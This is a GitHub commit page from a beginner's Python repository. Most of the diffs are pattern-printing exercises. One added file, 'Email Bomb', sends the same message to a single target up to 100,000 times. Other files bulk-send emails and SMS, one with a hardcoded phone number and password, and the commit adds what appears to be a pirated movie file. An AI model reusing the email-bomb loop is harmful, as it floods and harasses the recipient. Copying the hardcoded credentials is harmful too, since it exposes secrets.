-
Notifications
You must be signed in to change notification settings - Fork 2
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
fc64be4
commit 6125aa0
Showing
32 changed files
with
209 additions
and
141 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
#------------------------------------------------------------------------------- | ||
# Name: Email Bomb | ||
# Purpose: Program to send unlimited emails - This is for educational purpose only | ||
# Author: rakesh kumar | ||
# Created: 11-02-2018 | ||
# Copyright: rakesh kumar | ||
# Licence: MIT | ||
#------------------------------------------------------------------------------- | ||
import time | ||
import getpass | ||
import smtplib | ||
from email.mime.text import MIMEText | ||
# Open a plain text file for reading. For this example, assume that | ||
# the text file contains only ASCII characters. | ||
textfile ="abcd.txt" | ||
fp = open(textfile, 'r') | ||
# Create a text/plain message | ||
msg = MIMEText(fp.read()) | ||
fp.close() | ||
|
||
me ='email@google.com' | ||
target = 'target@gmail.com' | ||
|
||
msg['Subject'] = 'The contents of %s' % textfile | ||
msg['From'] = me | ||
msg['To'] = target | ||
password = getpass.getpass("Enter your email ID password : ") | ||
for i in range (1,100000): | ||
connection = smtplib.SMTP_SSL('smtp.google.com',465) | ||
connection.ehlo() | ||
#connection.starttls() | ||
connection.login('email@google.com',password) | ||
connection.sendmail(me,[target],msg.as_string()) | ||
connection.quit() | ||
time.sleep(15) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,50 @@ | ||
#------------------------------------------------------------------------------- | ||
# Name: Bulk Email Sender using Excel file and | ||
# Purpose: Program reads name and email Id from Excel file and send to all the members | ||
# | ||
# Author: rakesh kumar | ||
# | ||
# Created: 11-02-2018 | ||
# Copyright: rakesh kumar | ||
# Licence: Private | ||
#------------------------------------------------------------------------------- | ||
import xlrd | ||
import time | ||
import smtplib | ||
from email.mime.text import MIMEText | ||
|
||
# Open a plain text file for reading. For this example, assume that | ||
# the text file contains only ASCII characters. | ||
textfile ="abcd.txt" | ||
fp = open(textfile, 'r') | ||
# Create a text/plain message | ||
msg = MIMEText(fp.read()) | ||
fp.close() | ||
|
||
me ='rakesh@binarynote.com' | ||
you = 'support@binarynote.com' | ||
|
||
msg['Subject'] = 'The contents of %s' % textfile | ||
msg['From'] = me | ||
msg['To'] = you | ||
|
||
password = input("Enter your password") | ||
book = xlrd.open_workbook("phone.xlsx") | ||
sheet = book.sheet_by_index(0) | ||
count = sheet.nrows | ||
for rx in range(1,sheet.nrows): | ||
rec_email = sheet.cell_value(rx,2) | ||
rec_name = sheet.cell_value(rx,0) | ||
msg['To'] = rec_email | ||
connection = smtplib.SMTP_SSL('gator3189.hostgator.com',465) | ||
connection.ehlo() | ||
#connection.starttls() | ||
connection.login('rakesh@binarynote.com',password) | ||
connection.sendmail(me,[rec_email],msg.as_string()) | ||
connection.quit() | ||
positionStr = "Total : "+str(rx).rjust(4) +" out of : "+ str(count-1).rjust(4) +" send" | ||
print(positionStr, end='') | ||
time.sleep(15) | ||
print('\b' * len(positionStr), end='', flush=True) | ||
|
||
print('\n\n Emails pushed...\n\n') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
# purpose : write a program to print the following pattern | ||
# 1 | ||
# 1 2 | ||
# 1 2 3 | ||
# 1 2 3 4 | ||
# 1 2 3 4 5 | ||
# 1 2 3 4 5 6 | ||
# author : rakesh kumar | ||
# licence : MIT | ||
|
||
n = int(input("Enter value of n : ")) | ||
for i in range(1,n+1): | ||
if(i%2!=0): | ||
for j in range(n+1,i,-1): | ||
print(' ', end=" ") | ||
else: | ||
for j in range(n+1,1,-1): | ||
print(' ', end=" ") | ||
for k in range(1,i+1): | ||
print(k, end=" ") | ||
print() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
# purpose : write a program to print the following pattern | ||
# 1 | ||
# 1 2 1 | ||
# 1 2 3 2 1 | ||
# 1 2 3 4 3 2 1 | ||
# 1 2 3 4 5 4 3 2 1 | ||
# 1 2 3 4 5 6 5 4 3 2 1 | ||
# | ||
# author : rakesh kumar | ||
# licence : MIT | ||
|
||
|
||
|
||
for i in range(1,10): | ||
for j in range(10-i): | ||
print(' ', end=" ") | ||
for k in range(1,i+1): | ||
print(chr(k+64), end=" ") | ||
for l in range(i-1,0,-1): | ||
print(chr(l+64),end=" ") | ||
print() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -4,4 +4,5 @@ def pyramid(): | |
for j in range(1,i+1): | ||
print(j,end=" ") | ||
print() | ||
|
||
pyramid() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,43 @@ | ||
# purpose : write a program to print the following pattern | ||
# 1 | ||
# 1 2 1 | ||
# 1 2 3 2 1 | ||
# 1 2 3 4 3 2 1 | ||
# 1 2 3 4 5 4 3 2 1 | ||
# 1 2 3 4 5 6 5 4 3 2 1 | ||
# 1 2 3 4 5 6 7 6 5 4 3 2 1 | ||
# 1 2 3 4 5 6 7 8 7 6 5 4 3 2 1 | ||
# 1 2 3 4 5 6 7 8 9 8 7 6 5 4 3 2 1 | ||
# 1 2 3 4 5 6 7 8 9 10 9 8 7 6 5 4 3 2 1 | ||
# 1 2 3 4 5 6 7 8 9 8 7 6 5 4 3 2 1 | ||
# 1 2 3 4 5 6 7 8 7 6 5 4 3 2 1 | ||
# 1 2 3 4 5 6 7 6 5 4 3 2 1 | ||
# 1 2 3 4 5 6 5 4 3 2 1 | ||
# 1 2 3 4 5 4 3 2 1 | ||
# 1 2 3 4 3 2 1 | ||
# 1 2 3 2 1 | ||
# 1 2 1 | ||
# 1 | ||
# | ||
# author : rakesh kumar | ||
# licence : MIT | ||
|
||
|
||
|
||
for i in range(1,10): | ||
for j in range(10-i): | ||
print(' ', end=" ") | ||
for k in range(1,i+1): | ||
print(k, end=" ") | ||
for l in range(i-1,0,-1): | ||
print(l,end=" ") | ||
print() | ||
|
||
for i in range(10,0,-1): | ||
for j in range(10-i): | ||
print(' ', end=" ") | ||
for k in range(1,i+1): | ||
print(k, end=" ") | ||
for l in range(i-1,0,-1): | ||
print(l,end=" ") | ||
print() |
File renamed without changes.
File renamed without changes.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
# purpose : write a program to print the following pattern | ||
# 1 | ||
# 1 2 1 | ||
# 1 2 3 2 1 | ||
# 1 2 3 4 3 2 1 | ||
# 1 2 3 4 5 4 3 2 1 | ||
# 1 2 3 4 5 6 5 4 3 2 1 | ||
# | ||
# author : rakesh kumar | ||
# licence : MIT | ||
|
||
|
||
|
||
for i in range(1,10): | ||
for j in range(10-i): | ||
print(' ', end=" ") | ||
for k in range(1,i+1): | ||
print(k, end=" ") | ||
for l in range(i-1,0,-1): | ||
print(l,end=" ") | ||
print() |
File renamed without changes.
File renamed without changes.
Binary file added
BIN
+23.5 MB
The.Raid.2.2014.1080p.BluRay.x264-YTS.AG-The.Raid.2.2014.1080p.BluRay.x264-YTS.AG.MP4.part
Binary file not shown.
This file was deleted.
Oops, something went wrong.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
Empty file.
This file was deleted.
Oops, something went wrong.
This file was deleted.
Oops, something went wrong.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,6 +1,21 @@ | ||
import zerosms | ||
import getpass | ||
import xlrd | ||
import time | ||
def sendsms(): | ||
zerosms.sms(phno=9871816901,passwd='F6569G',message='Hello Jm Sharma ji, This sms is coming to you using python',receivernum=9871816901) | ||
# | ||
# your_number = getpass.getpass("Enter your phone No. ") | ||
# your_password = getpass.getpass("Enter your password") | ||
your_number = '9871816901' | ||
your_password = 'mypassword' | ||
|
||
book = xlrd.open_workbook("phone.xlsx") | ||
sheet = book.sheet_by_index(0) | ||
for rx in range(1,sheet.nrows): | ||
rec_phone = str(int(sheet.cell_value(rx,1))) | ||
rec_name = sheet.cell_value(rx,0) | ||
msg ="Hello " + rec_name + " This is python generated sms and I love this script to send automated message to all my friend in my list" | ||
zerosms.sms(phno=your_number,passwd=your_password,message=msg,receivernum=rec_phone) | ||
time.sleep(10) | ||
|
||
sendsms() |
File renamed without changes.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters